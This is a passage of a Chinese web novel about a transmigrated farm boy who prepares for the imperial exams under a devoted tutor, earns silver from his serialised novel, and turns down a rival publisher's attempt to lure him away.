陆明渊知道火候差不多了。 他用火钳小心翼翼地将泥球从灰烬中取出,那泥壳已然被烤得坚硬如石,却又透着一股诱人的焦褐色。 他轻轻敲开泥壳,热气腾腾的荷叶便露了出来,轻轻剥开,一只金黄酥脆的叫花鸡,便完整地呈现在众人面前。 鸡肉的香气瞬间浓郁了数倍,直扑鼻腔,陆明泽再也忍不住,发出了一声短促的欢呼。 陆明渊笑着撕下一条鸡腿,递给了眼巴巴的弟弟,又撕下另一条,用荷叶包着,走向了正从屋里出来的陈氏。 她拄着拐杖,慢悠悠地走到火堆旁,浑浊的眼睛里带着一丝慈爱。 当陆明渊将那油亮诱人的鸡腿递到她面前时,她先是一愣,随即眉眼舒展,笑得像一朵晚秋的菊花。 “哎哟,我的渊儿,这般好的东西,怎的先给了我这老婆子?” “奶奶您尝尝,这是渊儿特意为您做的。” 陈氏看着手中那金黄的鸡腿,又抬眼看了看陆明渊,那双浑浊的眼睛里,涌动着不易察觉的泪光。 这孩子,打小就懂事,如今更是出息了。 她这辈子,活了大半辈子,最欣慰的,莫过于看到孙儿们孝顺和睦。 “渊儿有心了。”她轻轻叹了口气,随即又将鸡腿递给了陆明泽,慈爱地笑道:“奶奶这把老骨头,牙口不好,吃不得这般油腻的。明泽正是长身子的时候,多吃些,快快长大。” 陆明泽正啃得欢,见奶奶把鸡腿递过来,有些不解地看向陆明渊。 陆明渊对他笑了笑,示意他收下。 陆明泽这才小心翼翼地接过,冲着奶奶甜甜一笑。 陈氏看着两个孙儿,脸上露出真正满足的笑容。 …… 隔壁厢房,另一番心思正悄然滋长。 陆从智的眼睛闪烁着幽光。 “我算是明白了。” 陆从智压低了声音,语气中带着一种难以抑制的亢奋。 “这个陆明渊,他肯定是找到什么赚钱的法子了!” “不然,他怎么可能在短短几天之内,两次去县城,两次都花钱如流水?” “你看看,他这次回来,又是丝绸,又是叫花鸡的,这可不是寻常人家能有的阔绰!” 赵氏闻言,眼睛瞬间亮了起来。 “当家的,你的意思是说……那老大一家,手头宽裕了?那咱们明文的束脩……” 陆从智得意的笑了笑:“那是自然!我敢肯定,他们手头肯定有了余钱!不然,那陆明渊能这般大方?” “哼,他孝顺他娘,花钱如流水,这事儿,我可看得清清楚楚。” 他顿了顿,又继续道:“明文的束脩,何止是有着落,我看啊,这次咱们明文去府学,都指望着他们了!” 赵氏一听“府学”二字,心头更是狂喜。 府学啊,那可是比县学高了一等的学府,若是明文能考入府学,那前途可就更不可限量了! 她压抑着激动,急切地问道:“那当家的,你打算怎么做?怎么才能让他们乖乖把钱掏出来?” 陆从智微微眯起眼睛。 他端起桌上的粗瓷茶碗,轻轻呷了一口,慢悠悠地说道:“不急,不急。这几天,咱们先不要声张,让明文安心去县城好好考试。” “这一次的县试,他一定要中!” 他放下茶碗,眼神变得锐利起来。 “只要明文考中了县试,成为童生,那咱们就有百分百的把握,让老大一家把钱掏出来,送咱们明文去府学!到时候,他们想不掏,也得掏!” 赵氏闻言,心中疑虑尽消,取而代之的是无尽的期待和兴奋。 …… 陆明渊这边,他吃过了晚饭,与父母和弟弟话别后,便返回了自己的房间。 他没有急着休息,而是展开了那几本从县城书肆淘来的经义策论。 窗外夜色渐浓,虫鸣声声。 他很清楚,在这个时代,读书是唯一的出路,也是他改变命运的唯一途径。 他要参加明年的县试和乡试,更要直接一年之内,通过县试、乡试,乃至院试,一举成为秀才! 这并非狂妄,在这个封建时代,没有必要隐藏实力。 有天赋,便要毫不犹豫地展现出来。 只有展现出了超越常人的才华,才能吸引到大人物的目光。 那时,他才有机会闯出一片天。 第036章 考官评卷,第一眼看的便是字迹 五日时光,一晃而逝! 陆明渊这五天都在赵夫子的小院中苦读,连下地都很少! 那堆积如山的四书五经,常人穷尽十年光阴亦难通读,更遑论尽数背诵。 可在陆明渊那异于常人的“过目不忘”天赋面前,它们不再是晦涩难懂的天书。 他以一种近乎机械的效率,将文字刻入脑海,再以超凡的记忆力将其复述。 赵夫子最初的震惊,早已被一种深入骨髓的狂喜所取代。 他看着陆明渊,眼神里再无半分世俗的迟暮,而是燃起了熊熊烈火,那是对“状元之才”的期许,是对“青云路”的憧憬。 他曾以为自己这辈子最大的成就,是在官场刚正不阿,不同于浊流之辈! 如今却发现,命运竟在他行将就木之时,送来了一块璞玉。 “明渊,你果然是上天赐予我大齐的读书种子!” 赵夫子颤抖着手,将《周易》的最后一页合上,目光灼灼地盯着眼前这个少年。 这五日,他每日考教,从不敢有丝毫懈怠,然而陆明渊从未让他失望,每一次的对答如流。 “四书五经,你已尽数背诵,根基已然稳固。” 赵夫子深吸一口气,平复着胸中激荡的情绪。 “接下来,你每日温习一本古籍,确保字字不漏。老夫每日会考教你一回。但这只是其一。” 他站起身,苍老的身躯此刻却显得格外挺拔。 他走到书房深处,那里有一个上了锁的梨花木书柜。 打开柜门,一股淡淡的檀香扑面而来。 他小心翼翼地取出一个长方形的木匣,又从旁边的小抽屉里拿出一叠宣纸,一锭徽墨,一方端砚。 这些物件,皆是上品,平日里赵夫子自己都舍不得用。 他原以为至少要半月之后,待陆明渊对经义的理解更深一层,才会将这些交予他。 没想到,这孩子的进度,远超他的预料。 他将笔墨纸砚,郑重地放在陆明渊面前的案几上。 “明渊,你如今有两件事,需得日夜精进。” 赵夫子拈起一支狼毫笔,笔锋在空中虚点,语气变得严肃而郑重。 “其一,便是练字。” 他顿了顿,眼神中带着一丝不容置疑的严厉。 “老夫看过你的字,如鸡爪爬泥,实难入目!” “想那科举之路,考官评卷,第一眼看的便是字迹。” “字如其人,若字迹潦草,纵有锦绣文章,亦难博得青眼。此乃门面,万万不可轻忽!” 陆明渊微微垂首,心中并无不悦。 他深知,前世他以键盘为笔,手写之物,多是潦草笔记,能辨认已是万幸,遑论美观。 写那话本的时候,他一横一竖都能慢慢写,不着急! 可到了科举考场,考官可不会等他! 这练字,确实是他的短板,也是他必须补齐的一课。 “其二,便是文章。” 赵夫子放下狼毫笔,拿起那锭徽墨,在端砚上轻轻研磨起来。 墨汁在砚台中晕开,散发出淡淡的清香。 “科举科举,到了最后,终究还是要靠文章取胜。” “你背诵经义,只是知其然,却不知其所以然。” “文章之道,才是真正考验你对圣贤之道的理解与阐发。” “如何破题,如何承题,如何入题,如何出题,如何起承转合,如何引经据典,如何遣词造句……这其中的复杂与精妙,远胜于背诵。” 赵夫子抬起头,眼神中带着一丝深邃。 “能否高中科举,最重要的,便是你的文章写得如何。” “它不仅仅是文字的堆砌,更是你胸中丘壑的展现,是你对天下大道的认知。它,是你的心。” 陆明渊听着赵夫子的话,心中涌起一股明悟。 他前世虽也饱读诗书,但多是现代文学,对于这种八股文的严谨结构和内在逻辑,却是从未涉猎。 这无疑是一个全新的挑战,一个需要他将现代思维与古代规矩相结合,才能破解的难题。 赵夫子见他神色专注,知道他已然将这些话听进了心里。 他念在陆明渊是第一天接触这些,并未过多苛责。 “今日,老夫只为你粗略讲解八股文之基本技巧。你且先听,不必急于理解透彻。” 赵夫子从书架上取下几本装帧朴素的书籍,这些都是历代名家的科举范文,字迹工整,墨香犹存。 “这几本文章,你带回去看两天。细细品读,揣摩其章法,体会其韵味。” “两天后,老夫要考教你,是否看懂了文章,又是否……会写文章。” 当“会写文章”四个字落下时,赵夫子看着陆明渊,眼神中既有期待,也有几分忐忑。 他知道,这对于一个刚刚开始接触文章之道的少年来说,是何等艰难的任务。 然而,他相信陆明渊,相信这只雏凤,终会展翅高飞。 陆明渊接过那几本沉甸甸的文章,心中涌动着一股激流。 他知道,真正的挑战,此刻才刚刚开始。 背诵只是记忆力层面的胜利,而练字与写文章,则是对他心性、悟性乃至意志的全面考验。 他向赵夫子深深一揖,声音清朗而坚定:“学生谨记夫子教诲!” 告别赵夫子,陆明渊捧着笔墨纸砚,以及那几本文章范本,走出了学堂。 午后的阳光透过树梢,斑驳地洒在小路上,仿佛为他铺就了一条充满未知的道路。 他没有直接回家,而是去了村头的小溪边。 溪水潺潺,映照着天光云影,也映照着少年那张沉静而坚毅的脸庞。 他将那几本文章摊开,逐字逐句地品读起来。 八股文,这种被后世诟病为僵化、束缚思想的文体,在此时此刻,却是通往仕途的唯一桥梁。 陆明渊没有带着偏见去审视它,而是以一种现代人分析“系统规则”的冷静与客观,试图去理解它的内在逻辑和运行机制。 破题、承题、起讲、入题、起股、中股、后股、束股……这些繁琐的名词,在他眼中,逐渐构建成了一个严密的框架。 他看到的是一种极致的结构美学,就像是一套复杂而精密的数学公式。 只要掌握了其核心算法,便能推导出无数个正确解。 他默默地将这些“规则”在脑海中分解、重构,试图找到最快、最有效掌握它们的方法。 他的手指在草地上轻轻划动,模拟着笔锋的走势,脑海中则不断回溯着那些范文的精妙之处。 溪水映照着他的倒影,年轻的脸庞上,没有一丝浮躁,只有沉淀下来的智慧与决心。 夜幕降临,陆明渊才带着一身的露水和满脑子的文章结构,回到了家中。 油灯下,他没有急着翻开那些范文,而是先摊开宣纸,拿起那支狼毫笔。 笔尖蘸墨,在雪白的纸面上落下第一笔。 他的手腕僵硬,指节发白,与他那过目不忘的惊人记忆力形成了鲜明的对比。 这具身体,在书写方面,确实是“弱”到了极致。 他深吸一口气,没有气馁。他知道,任何高楼大厦,都始于最微小的基石。 一笔一划,如同愚公移山般,陆明渊开始了他漫长而枯燥的练字之旅。 第037章 赵夫子安排的路 油灯如豆,映照着少年清瘦的侧脸。 最初的笔触,确实如赵夫子所言,像鸡爪爬泥,歪斜而无力。 然而,陆明渊的强大之处,不在于他过目不忘的天赋,而在于他那近乎偏执的执行力与超越常人的学习效率。 经过十余天的练习,陆明渊如今的字体已经初见锋芒! 虽然比不上那些自幼练字的世家子弟,比起普通人却显得工整许多! 白天,他学习八股文,晚上,他就疯狂练字! 经过疯狂的学习,陆明渊也发现了一些窍门! 他发现,八股文并非简单的文字堆砌,而是一套高度程式化的模板。 破题如点睛,承题如引线,起讲如开篇。 入题如立骨,起股、中股、后股、束股则如四肢百骸,环环相扣,缺一不可。 “这哪里是文章,分明是一套精密至极的算法!” 陆明渊将一篇篇范文拆解,又重构。 他很快意识到,八股文的结构本身,只要依循规矩,便不会有太大差池。 真正的优劣之分,在于“立意”。 他翻阅了赵夫子给他的一些往年县试高中文章,细细品味。 那些被县丞们青睐的佳作,无一例外,其立意都深植于县域民生。 或言治水之策,或论农桑之要,或思教化之方,无不围绕着“如何让江陵县变得更好”这个核心。 县丞阅卷,自然更看重考生对本地事务的理解和解决问题的能力。 这并非狭隘,而是务实。 毕竟,科举选拔的是治世之才,而非空谈之士。 “县丞终究是县丞,他关心的,是脚下这片土地。” 陆明渊心中豁然开朗。 这就像现代的考公,命题者总是会倾向于考察考生对具体国情、省情、市情、县情的认知。 明白了这一点,他对文章的构思,便再无迷茫。 他开始尝试着以县域为背景,揣摩那些圣贤之言如何能与眼前的民生实事相结合,如何能以古人之智慧,解今时之困局。 有了对八股文内在逻辑的深刻理解,陆明渊的创作速度与质量皆有了质的飞跃。 他不再是盲目的模仿,而是有意识的运用。 第五日的清晨,陆明渊照例来到赵夫子的小院。 他将自己这几日的练字成果和几篇习作呈上。 赵夫子淡然接过,先是看字。 那双饱经风霜的眼睛里,先是闪过一丝不易察觉的惊讶,接着便被浓浓的赞赏取代。 “好!好!好!” 赵夫子连说了三个好字,每说一个,声音便高上几分。 他拿起其中一篇,细细端详,又将陆明渊之前的字迹拿来对比,简直判若两人。 “明渊,你这字……何止是进步,简直是脱胎换骨!” 赵夫子抚着颔下稀疏的胡须,眼神满意至极。 “老夫只道你需一月苦功,方能有所小成,不曾想,短短十余日苦功,你便已达此境!天赋异禀,当真天赋异禀!” 接着,赵夫子又看他的文章。 他从破题开始,逐字逐句地品读,不时点头,偶尔也会皱眉思索,但更多的是一种难以言喻的满意。 陆明渊对八股文结构的精准把握,对立意着眼于县域民生的独到见解,都让赵夫子感到惊喜。 “你对八股文的理解,已远超寻常少年。立意高远而不失务实,结构严谨而不失灵动。” 赵夫子合上文章,目光灼灼地看着陆明渊,那是一种看璞玉渐成美器的欣慰。 “如今你的文章,已足以应付县试。” 他走到窗边,望着院中那棵老槐树,树叶在晨光中泛着翠绿。 赵夫子深吸一口一口气,转过身,神色变得严肃起来。 “明渊,还有一个月,便是县试的日子了。” 他语重心长地说道:“以你如今的学识与文章,通过县试已是十拿九稳。但若想一举夺魁,成为县试案首,却还有些难度。” 赵夫子缓步走到陆明渊面前:“童试三榜,县试、府试、院试。若能连中三元,成为童试三榜案首,这名头便是一块金字招牌。” “有了这个名头,足以为你日后的科举之路铺平道路,引来无数名师贵人青眼。” 他顿了顿,语气中带着一丝沉重:“但若要冲击三榜案首,你需沉淀一年,将学问打磨得更加精粹,将文章写得更加老辣。如此,方有万全之把握。” “然而,若你此刻便去应试,以你之才,虽未必能夺得县试案首,但通过县试,取得童生身份不难。” “一年之内,连中三试,取得秀才身份,也不算难事!” 赵夫子看着陆明渊,眼神中带着一丝期盼:“早一年取得秀才身份,对你而言,亦是极大的优势。” “明渊,你心中有何选择?” “是想早一年取得秀才身份,稳扎稳打?还是沉淀一年,志在三榜案首,一鸣惊人?” 赵夫子的问题,如同两道分岔的路口,摆在了陆明渊的面前。 一道是稳妥的捷径,一道是充满挑战的巅峰。 然而,陆明渊的脸上,却没有任何迟疑。 他微微抬起头,目光笔直地迎上赵夫子,声音清晰坚定。 “夫子,学生……全都要!” 赵夫子先是一愣,继而那饱经风霜的脸上,绽开了笑容。 他仰天哈哈大笑,笑声洪亮而畅快,震得院中那棵老槐树的叶子都仿佛跟着颤动起来。 “好一个‘全都要’!明渊,你这志气,老夫平生仅见!” 赵夫子抚掌而叹,眼中精光闪烁,道:“既然你有此宏愿,老夫又怎能不为你铺路?” “老夫早年,也曾有幸结识过几位高人。其中一位,更是老夫当年进京赶考时的至交好友。” “他与老夫同年科举,老夫当年不过堪堪中了个举人,便已是竭尽所能。可他,却是实打实的进士出身,那一榜的榜眼!” 赵夫子转过身,神色变得肃穆起来。 “在大乾王朝,拜师是一件极其郑重的事情,一个人一生只能拜一位老师,轻易不可更改。” “一旦拜入名师门下,便意味着你将承袭其学问,其品格,甚至其人脉。” “明渊,若你真能连中县试、府试的第一,成为童试三榜的案首,老夫便将你引荐给他!” 他的语气带着一丝郑重,又带着一丝期盼。 “若能拜入他的门下,你从此便能平步青云!” “这大乾的官场,看似清明,实则盘根错节,人脉牵连甚广,有名师引路,方能事半功倍。” 赵夫子深吸一口气,脸上带着一丝欣慰,又带着一丝沉重。 “老夫才学有限,能教你的,也只是一些基础。但路,老夫已经为你铺好了。” “接下来,就看你陆明渊自己,够不够努力,能不能走到那里。” “若你不能连中县试和府试的第一,老夫也无颜将你引荐给那位好友。” “他眼界极高,非绝顶之才,不入其法眼。” “明渊,你当知,这世间之事,没有不劳而获,更没有坐享其成。” 陆明渊躬身行礼,深深地弯下了腰。 他与赵夫子不过一面之缘,当日拜师,所呈束脩也只是微薄的几两碎银。 然而,这位夫子却如此真诚地待他,不仅倾囊相授,更愿意为他引荐如此显赫的师门。 这等恩情,重于山岳。 “夫子大恩,学生铭记于心,永不敢忘!” 陆明渊的声音带着一丝颤抖,心中感动不已。 他前世在现代社会摸爬滚打,深知人情冷暖,利益至上。 像赵夫子这般不求回报,真心为他筹谋的,实属罕见。 这让他对这个看似落后的时代,生出了几分前所未有的温暖。 第038章 所谓修身在正其心者 赵夫子将陆明渊搀扶起来,拍了拍他的肩膀。 “何须言谢?你既有此天赋,老夫又岂能任其蒙尘?这便是老夫的私心,想看你这块璞玉,能被雕琢成何等美器!” 然而,感动之余,赵夫子的话也如同一座无形的大山,瞬间压在了陆明渊的心头。 县试案首,府试案首,再到院试案首,这又岂是易事! 压力,如潮水般涌来。 一方面,是赵夫子对他的信任。 若他不能达到赵夫子所期望的高度,岂不是辜负了这份深情厚谊? 另一方面,是那位“榜眼”的赫赫威名。 进士出身,当年的榜眼,如今至少也是朝廷五品的大员。 这等人物,如天上的星辰,高不可攀。 若能拜入其门下,自然是鲤鱼跃龙门,前途无量。 但若自己达不到那标准,恐怕连面都见不到,更遑论拜师 陆明渊深吸一口气,带着露水湿气的空气,冰凉地灌入肺腑,让他混沌的思绪渐渐清明。 他闭上眼睛,脑海中浮现出父亲陆从文憨厚疲惫的脸庞,母亲王氏温婉却带着忧虑的眼神,还有弟弟陆明泽那双天真而依赖的眸子。 肩负着改变陆家命运的希望,肩负着王氏回王家认祖归宗的期盼,更肩负着自己在这异世立足,活出精彩的决心。 压力,是双刃剑。 它可以将人压垮,也可以将人磨砺得更加锋利。 陆明渊猛地睁开眼睛,目光如炬。 其中再无半分迷茫或怯懦,唯有熊熊燃烧的斗志。 他将这股沉重的压力,瞬间转化成了澎湃的动力。 他要做的,不是去想“能不能”,而是去想“怎么能”! “夫子,学生告退。” 陆明渊再次行礼,语气比之前更加坚定,“学生定不负夫子所望!” 赵夫子看着少年离去的背影,他微微一笑,捋了捋胡须,眼中闪过一丝期待。 回到家中,陆明渊没有片刻停歇。 他径直回到自己的小屋,点亮油灯,将赵夫子给他的那些往年状元、榜眼、探花的文章,一篇篇地取出,铺陈在桌上。 夜色渐深,屋外虫鸣声声,屋内灯火通明。 他的手,轻轻抚过那些墨迹斑驳的纸张,仿佛能感受到前人笔墨间的智慧与气势。 “状元之文,其结构严谨,立意高远,遣词造句更是炉火纯青。” 陆明渊喃喃自语。 他没有直接去模仿,那不是他。 他的优势,在于超凡的分析能力和过目不忘的本领。 他将这些文章,一篇篇地“刻”入脑海。 那些晦涩难懂的典故,他只需一眼便能知其出处; 那些精妙的逻辑推演,他只需一读便能洞悉其精髓。 他如同一个最精密的拆解师,将每一篇状元文章,都拆解成最基本的模块。 破题的技巧,承题的铺垫,起讲的引人入胜,入题的立意深远,以及起股、中股、后股、束股之间,那环环相扣、层层递进的逻辑链条。 陆明渊很快发现,这些状元文章,除了结构上的精妙,其“立意”的高度,更是远超寻常。 他们不仅关注县域民生,更将目光投向了府域乃至整个大乾王朝的社稷。 他们引经据典,往往能从圣贤之言中,挖掘出对当下时局的深刻洞察和解决之道。 他开始尝试在脑海中,将不同状元文章的“破题”与另一篇的“承题”结合,将一篇的“起讲”与另一篇的“中股”嫁接。 这种学习方式,对于拥有过目不忘天赋的陆明渊而言,简直是如鱼得水。 他不需要反复抄写,更不需要死记硬背。 他只需要“看”,然后“理解”,然后“重构”。 时间一分一秒地过去,窗外的月亮从东边升起,又缓缓西沉。 当第一缕晨曦透过窗棂,照亮书桌时,陆明渊的眼睛依然明亮,没有一丝疲惫。 他的精神力,在穿越后得到了极大的强化,每天需两个时辰的睡眠,便能精力充沛。 他合上最后一篇文章,眼中闪烁着自信的光芒。 “县试案首,府试案首……” 他轻声念叨着这两个目标。 “榜眼门生……” “我全都要!” …… 清晨,当第一缕熹微的晨光出现,陆明渊便已端坐。 他的右手执笔,腕力沉稳,笔锋在宣纸上游走。 他的书法,不再是最初的稚嫩与生涩,那横竖撇捺间,渐渐有了规矩,有了章法。 字迹方正,间架结构匀称,整齐划一,一丝不苟。 赵夫子前来考校,看着陆明渊铺开的字帖,眼里闪过一丝不易察觉的惊喜。 他捻须颔首,目光落在“修身齐家治国平天下”这几个字上。 每一个字都写得端正有力,却又带着一种内敛的锋芒,仿佛被刻意压制,不使其外露。 “明渊啊,你这笔法,渐入佳境啊。” 赵夫子轻抚纸面,语气中带着赞叹。 “寻常人要练上足月,方能有此等进步。你十日之间,便已至此,天赋异禀,当真可喜可贺。” 他顿了顿,又道:“字如其人,亦如其心。你如今的字,如方正君子,规矩森严,却少了几分灵动与锐气。” “不过无妨,这并非缺点,练字初期,便是要先求规矩。” “至于那所谓的‘风格’,那‘锐气’,那‘锋芒’,绝非照猫画虎能的。” “它需要你经历世事,有所感悟,方能自然而然地融入笔端,成就独属于你陆明渊的风骨。” “否则,永远都只是邯郸学步,拾人牙慧。” 陆明渊躬身受教,心中了然。 他知道,赵夫子说的是真理。 他前世的经验告诉他,任何技艺的最高境界,都是技近乎道,融会贯通,最终形成自己的独特印记。 而这,需要时间的沉淀,更需要阅历的磨砺。 赵夫子见他神色沉静,眼中并无半分急躁,更是满意。 他随即话锋一转,语气变得严肃起来。 “书法一道,你已能稳定。但科举之道,文章才是根本。这五日来,你将老夫所给的那些状元榜眼之文,想必已烂熟于心了?” 陆明渊眼中闪过自信的光芒,点头道。 “学生已将其拆解、重构,尽数铭记于心。” “好!” 赵夫子抚掌而笑,从袖中取出一张泛黄的纸卷,小心翼翼地展开。 那纸卷上,墨迹清晰,是十年前大乾王朝一次科举考试的试题。 “今日,老夫便以这十年前的试题,考教你一番。” 赵夫子指着纸卷上的字,沉声道。 “此题乃是以儒家经典《论语》为题,其中经义部分,你且先默写出来。至于文章题,便是这句——《所谓修身在正其心者》。” 陆明渊接过试题,目光只是一扫,便将那题目尽收眼底。 他的精神力远超常人,这等简单的默写与理解,对他而言,并无难度。 他提笔蘸墨,笔走龙蛇,将《论语》中与“修身正心”相关的经义,一字不差地默写了出来。 赵夫子在一旁看着,不住地点头。 陆明渊的记忆力,他早已见识过,但每一次亲眼所见,仍旧让他感到惊叹。 待陆明渊默写完毕,他收回纸卷,目光转向了那篇文章题。 《所谓修身在正其心者》。 陆明渊没有急于动笔。 他闭上眼睛,脑海中浮现出前世对心理学和行为学的认知,结合今生所学儒家经典中“格物致知,诚意正心”的教诲,进行了一次深层次的“重构”。 片刻后,他睁开眼睛,眼中清明一片,已然胸有成竹。 笔尖轻触纸面,墨迹缓缓洇开。 他开篇便直指核心,解释了为何修身的前提在于“正心”——“心不在焉,视而不见,听而不闻,食而不知其味”。 这句《大学》中的经典论述,被他信手拈来,作为破题的引子。 他笔锋一转,阐明了内心不正,则一切外在的修养皆为虚妄,如同无根之木,无源之水。 文章中段,他引经据典,从《论语》的“克己复礼为仁”到《孟子》的“存心养性”,旁征博引,将圣贤之言化为己用,论证了内心端正与修养自身之间的紧密联系。 他指出,正心并非一蹴而就,乃是日积月累,格物致知,在万事万物中体悟天理,在日常言行中砥砺心性。 陆明渊的行文,一板一眼,字字珠玑,逻辑链条严密得近乎刻板。 他没有用华丽的辞藻,没有加天马行空的想象,只用他扎实的功底,对儒家经典的深刻理解来写。 当他写下最后一个字,笔尖轻点,收笔之时,屋外已是日上三竿。 第039章 就说我打算给他一场泼天的富贵 赵夫子在一旁,从陆明渊下笔的那一刻起,便一直静静地看着。 他先是眉头微蹙,似乎对陆明渊过于工整的行文略感不解。 但随着文章的展开,他的眉宇渐渐舒展,眼中神采奕奕,最后更是连连点头,脸上绽放出抑制不住的笑容。 “妙啊!妙啊!” 赵夫子拿起陆明渊的文章,反复品读,爱不释手。 “明渊,你这文章,虽看起来一板一眼,格式固定,然解题之妙,引经据典之精,却是老夫平生所见之翘楚!此乃上乘之作,上乘之作啊!” 他放下文章,看向陆明渊的目光,充满了欣慰与赞赏。 “以你之才,高中县试案首,已是十拿九稳!” 赵夫子连连夸赞陆明渊天赋异禀,眼中精光闪烁,仿佛已然看到了那少年,正一步步踏上青云之路。 这不仅仅是对陆明渊的肯定,更是对他自己眼光的验证。 三天后,江陵县城,天光如洗,街市喧嚣一如往昔。 陆从文依旧在城门不远处寻了个僻静角落,将沉甸甸的担子卸下。 布匹叠得整齐,腊肉挂得油亮,他黝黑的脸上挂着淳朴的笑,等待着过往的客商。 陆明渊则怀揣着五万字的墨香手稿,径直走向了那条熟悉又陌生的街道。 翰墨轩的门楣依然略显陈旧,但门前却不再是落叶打旋的萧索。 几位衣着体面的读书人正围在门口,对着贴出的告示指指点点,不时发出惊叹。 陆明渊心中微动,他知道,那是《西游记》第二部的通稿。 他穿过人群,踏上那几级旧石阶,推开了虚掩的木门。 门内,与门外的喧嚣相比,是另一种热烈。 空气中弥漫着纸墨与檀木的清香,几名伙计忙碌地穿梭于书架之间,将一本本装帧精美的话本递给翘首以盼的顾客。 林远峰,这个比陆明渊大不了几岁的少年掌柜,此刻正站在柜台后,眉飞色舞地与一位老学究辩论着书中人物的道行高低。 他眼尖,一眼便看到了走进来的陆明渊,那双原本因论道而闪烁的眼睛,瞬间迸发出一种见到救星般的光芒。 “明渊兄!” 林远峰顾不得与老学究的“唇枪舌剑”,三步并作两步迎了上来,拉着陆明渊的手便往后堂走。 “你可算来了!快快快,随我来书房!” 书房内,窗明几净,案上堆满了账册与各种笔墨纸砚。 林远峰迫不及待地从一个上了锁的木匣中取出一叠银锭,放到陆明渊面前的红木案上。 五十两银子,在烛火的映照下,泛着温润的光泽,沉甸甸地压在桌面上,也压在陆明渊的心头。 “明渊兄,你看看,这是你的那份!” 林远峰兴奋的脸颊泛红,他从案边抽出一个厚厚的账本,翻开几页,指着上面密密麻麻的墨迹。 “你这《西游记》当真是神来之笔!第二部一经推出,整个江陵县都轰动了!” “短短十天,便卖出了一百两银子的纯利!按照咱们当初的约定,你五我五,这五十两,分文不少!” 他将账本推到陆明渊面前,语气中带着少年人特有的爽快与真诚。 “你且核对一番,若是有何不明之处,尽管问我!” 陆明渊看着那账本,纸页翻动间,墨香与铜臭味融合在一起,令人心安。 他没有去接账本,只是轻轻一笑,摇了摇头。 “不必了,远峰兄。” 陆明渊的声音沉稳:“君子一言,驷马难追。既然远峰兄愿意将账本示我,那便是对我的信任。我自是信得过远峰兄的为人。” 林远峰闻言一愣,他本以为陆明渊会细细查阅,毕竟这可是五十两白花花的银子,对于一个农家子而言,无疑是一笔巨款。 不曾想,陆明渊竟如此磊落,这份气度,着实不凡。 “好!明渊兄果然是爽快人!” 林远峰哈哈一笑,也不再坚持,将账本收回,又将那五十两银子推到陆明渊近前。 “那这银子你便收好。有了这些,你家里的境况,想必能宽裕许多。” 陆明渊将那五十两银子收进怀中。 这五十两银子,足够他接下来几年的束脩费用! 陆明渊深深呼出一口气,肩膀上的担子终于轻松了一些! “远峰兄,我有一事相询。” 陆明渊收敛心神,看向林远峰,语气中带着几分思量。 “我如今每日练字,笔墨纸砚的消耗着实不小。不知远峰兄可有门路,能买到一些物美价廉的文房四宝?我想多买一些,以备不时之需。” 林远峰闻言,拍了拍胸脯,大气地笑道。 “这有何难!明渊兄你算是问对人了!我与那四宝斋的掌柜陈员外相交莫逆,那可是江陵县最大的商行,在大乾王朝也是数得上号的!” “你只管拿着我的手信去,报我的名号,保管能给你打个八折!” 说着,他便从笔筒里抽出一张宣纸,提笔写下了一封简短的信函,盖上自己的私印,递给了陆明渊。 “多谢林兄!” 陆明渊接过手信,拱手致谢。这份人情,他记在了心里。 告别了林远峰,陆明渊怀揣着沉甸甸的银子和那封手信,心满意足地走出了翰墨轩。 他没有注意到,就在翰墨轩对面的茶摊角落里,两个身着粗布短褂的汉子,正鬼鬼祟祟地盯着他。 这两个汉子,一个脸上有道刀疤,一个身形矮胖,正是高家高衙内手下的眼线。 他们奉命盯梢翰墨轩,尤其是那些来往的“写手”,企图将林远峰的财路彻底截断。 这几日,翰墨轩因那《西游记》而生意火爆,让文渊阁的高衙内气地摔了好几个景德镇的瓷器。 如今终于等到了正主,刀疤脸向矮胖子使了个眼色,两人不动声色地跟了上去。 陆明渊沿着街道,不疾不徐地往前走。 他心中盘算着,这五十两银子,除了购置笔墨,还得分出一部分给家里添置些物件,让父母弟弟过得更舒心些。 至于剩下的,可以存起来,以备日后他去府城求学之用。 他穿过几条小巷,拐上了一条宽阔的青石板路。 这条路的尽头,便是江陵县最负盛名的“四宝斋”。 四宝斋的门面气派,雕梁画栋,红漆大门敞开,门前车水马龙,人流如织。 陆明渊正要迈步入内,却见一辆华丽的马车停在了四宝斋门口。 车帘掀开,一个身着锦衣华服的青年男子,摇着一把折扇,施施然走了下来。 这青年男子面容白皙,眼神却带着几分倨傲与阴鸷,正是那文渊阁的幕后老板,高县尉之子——高衙内。 高衙内一下马车,便看到两个手下快步上前,躬身耳语。 他听完汇报,嘴角勾起一抹玩味的弧度,目光若有若无地扫过陆明渊的方向。 “哦?就是他?” “带他过来见我,就说我打算给他一场泼天的富贵!” 第040章 计划准备买个院子 “带他过来见我,就说我打算给他一场泼天的富贵!” 两个身着粗布短褂的汉子,立刻朝着陆明渊走了过去。 “这位公子,我家高衙内有请。” 陆明渊的目光从他们身上掠过,最终落在马车那垂落的丝绸车帘上。 陆明渊迈开步子,不紧不慢地走到了马车旁。 “你便是那《西游记》的作者?”高衙内清冷的声音从车厢内传出。 “在下陆明渊,确是《石猴记》的执笔之人。”他声音不高不低,不卑不亢。 车厢内传来一声轻笑,带着几分不屑与玩味。 “林远峰那翰墨轩,原本半死不活,靠着你这《石猴记》倒是翻身了。一个泥腿子,倒是有些笔墨功夫。” 陆明渊闻言,眉梢微不可察地一挑。 高衙内将《西游记》称为《石猴记》,这细节倒也符合坊间对话本的称呼习惯。 至于“泥腿子”的讽刺,他却未放在心上。 他本就是农家子,这是事实,无需遮掩,更无需因此自惭形秽。 “林远峰那小子,眼光倒是不错。不过,他能给你的,本衙内也能给,而且能给得更多。” 高衙内话锋一转,直接切入主题:“《石猴记》的稿子,以后也给文渊阁一份。林远峰给你多少钱,我便给你多少,甚至,可以多给你十两。” 他静静地听着高衙内的话,轻轻摇了摇头:“多谢高衙内抬爱。” “只是,在下与林远峰掌柜有言在先,也签下了独家合同。君子一诺千金,契约在身,在下不能违反。” 车厢内,传来一声轻蔑的“嗤”笑,仿佛听到了什么天大的笑话:“契约?这世上哪有什么不能撕毁的契约?” 高衙内语带不屑:“区区一纸契约,在本衙内眼中,不过废纸一张。你若嫌赔偿违约金麻烦,本衙内替你出了便是!” “你开个价,缺多少钱,本衙内补上。” 这话语中,已然带着几分威胁的意味。 “契约二字,重于泰山。”陆明渊的声音,此刻却多了一丝坚持。 “在下既已承诺林远峰掌柜,便会信守。若高衙内欲发行《石猴记》的话本,可直接与林远峰掌柜商谈合作事宜。” 